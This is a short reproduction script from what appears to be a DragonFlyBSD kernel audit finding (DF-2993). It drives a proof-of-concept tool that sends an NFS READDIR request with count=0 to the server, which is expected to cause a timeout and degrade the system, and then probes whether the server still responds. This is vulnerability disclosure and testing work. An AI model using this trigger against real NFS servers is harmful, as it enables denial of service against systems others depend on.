DragonFlyBSD Kernel Audit
DF-2993 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2993 reproduction (run as root in the DFly guest, NFS server up)
FH=$(NFSPOC_SRCPORT=820 /root/nfspoc mount | tail -1)
echo "FH=$FH"
echo "--- control READDIR count=8192 (expect reply OK) ---"
NFSPOC_SRCPORT=821 NFSPOC_TIMEOUT=5 /root/nfspoc readdir "$FH" 8192 1
echo "--- TRIGGER READDIR count=0 (expect TIMEOUT + system degradation) ---"
NFSPOC_SRCPORT=821 NFSPOC_TIMEOUT=5 /root/nfspoc readdir "$FH" 0 1
echo "--- post-trigger NULL probe ---"
sleep 2
NFSPOC_SRCPORT=822 NFSPOC_TIMEOUT=4 /root/nfspoc null